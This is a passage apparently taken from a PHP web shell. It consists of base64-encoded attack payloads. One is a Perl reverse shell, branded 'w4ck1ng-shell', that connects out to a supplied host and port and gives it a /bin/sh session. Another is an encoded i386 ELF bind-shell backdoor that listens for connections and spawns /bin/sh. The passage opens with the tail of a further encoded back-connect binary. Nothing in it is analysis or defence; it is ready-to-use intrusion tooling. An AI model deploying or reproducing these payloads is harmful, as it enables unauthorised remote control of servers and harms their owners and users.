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UT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAYmFjay5jAGV4ZWNsQEBHTElCQ18yLjAAX0RZTkFNSUMAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAX19maW5pX2FycmF5X2VuZABfX2Rzb19oYW5kbGUAX19saWJjX2NzdV9maW5pAHN5c3RlbUBAR0xJQkNfMi4wAF9pbml0AGRhZW1vbkBAR0xJQkNfMi4wAF9zdGFydABzdHJsZW5AQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AGluZXRfYWRkckBAR0xJQkNfMi4wAF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAGR1cDJAQEdMSUJDXzIuMABzdHJjYXRAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AF9maW5pAF9fcHJlaW5pdF9hcnJheV9lbmQAYnplcm9AQEdMSUJDXzIuMABleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABodG9uc0BAR0xJQkNfMi4wAGNvbm5lY3RAQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfc3RhcnQAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19wcmVpbml0X2FycmF5X3N0YXJ0AF9fZ21vbl9zdGFydF9fAA=="; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiOyc7DQokc3lzdGVtMT0gJ2VjaG8gImBpZGAiOyc7DQokc3lzdGVtMj0gJ2VjaG8gImBwd2RgIjsnOw0KJHN5c3RlbTM9ICdlY2hvICJgd2hvYW1pYEBgaG9zdG5hbWVgOn4gPiI7JzsNCiRzeXN0ZW00PSAnL2Jpbi9zaCc7DQokMD0kY21kOw0KJHRhcmdldD0kQVJHVlswXTsNCiRwb3J0PSRBUkdWWzFdOw0KJGlhZGRyPWluZXRfYXRvbigkdGFyZ2V0KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQokcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsICRpYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCmNvbm5lY3QoU09DS0VULCAkcGFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuXG46OiB3NGNrMW5nLXNoZWxsIChQcml2YXRlIEJ1aWxkIHYwLjMpIHJldmVyc2Ugc2hlbGwgOjpcblxuIjsNCnByaW50ICJcblN5c3RlbSBJbmZvOiAiOyANCnN5c3RlbSgkc3lzdGVtKTsNCnByaW50ICJcbllvdXIgSUQ6ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkN1cnJlbnQgRGlyZWN0b3J5OiAiOyANCnN5c3RlbSgkc3lzdGVtMik7DQpwcmludCAiXG4iOw0Kc3lzdGVtKCRzeXN0ZW0zKTsgc3lzdGVtKCRzeXN0ZW00KTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$backdoor="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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